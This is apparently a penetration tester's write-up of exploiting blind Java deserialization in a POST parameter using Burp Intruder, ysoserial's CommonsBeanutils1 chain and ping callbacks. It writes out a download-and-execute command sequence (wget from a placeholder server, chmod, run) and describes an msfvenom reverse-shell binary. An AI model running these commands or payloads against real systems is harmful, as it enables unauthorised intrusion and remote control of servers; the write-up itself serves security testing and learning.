Exploiting blind Java deserialization with Burp and Ysoserial

While performing a web application penetration test, I stumbled upon a parameter with some base64 encoded data within a POST parameter. Curious as to what it was, I send it over to Burp decoder.

After two rounds of URL decoding and one round of Base64 decoding, I had what appeared to be a serialized Java payload. This was apparent from the magic number which is rO0 in ASCII or AC ED 00 in hex. Having heard of ysoserial, I figured that the best course of action would be to build a payload with that toolset and send it as the value of the POST parameter I had identified. Ysoserial is great because it contains a wide array of payloads, but I didn’t really have any way of knowing which one to use. Lucky for me, a blog post I found on /r/netsec detailed a scenario that was extremely similar to mine. The post by Peter Popescu contained a script which would create a series of payloads containing any command for each different payload type which allows for command execution. Much like him, I did not know the underlying operating system either so I created ping payloads for both Linux and Windows. Another problem I found when analyzing the baseline payload is that it was not simply base64 encoded. It was base64 encoded, split with line breaks at every 76 characters, and then URL encoded twice. I modified Peter’s script to accommodate for this.

As the payloads began to fire off, I noticed one ping came in to my server with a DNS name that matched my client. To validate which payload worked, I ran the Intruder attack again, slowing it down to see which payload actually fired. I found that the target was Linux, and that the CommonsBeanutils1 payload had worked.

I really wanted a reverse shell, so my next focus was on getting a payload that would work on my target. I then tried to execute all the one-liners from the pentestmonkey Reverse Shell Cheat Sheet, with no luck. I then got the idea to wget down a payload from a server I control, set the execute bit, and then execute it. I initially tried to chain these three commands:

wget http://MY_SERVER:8080/payload -o /tmp/payload

chmod +x /tmp/payload

/tmp/payload

After some trial and error I later found that chaining commands with a semi-colon didn’t really work in this context and that I needed to send them one at a time. Having failed before with the one-liner payloads, I created an ELF binary for Linux to connect back to my server with msfvenom.

Not knowing the architecture, I just chose a 32 bit payload as I knew it would work on both 64-bit and 32-bit. After sending the three serialized java commands I received a connection back on my server.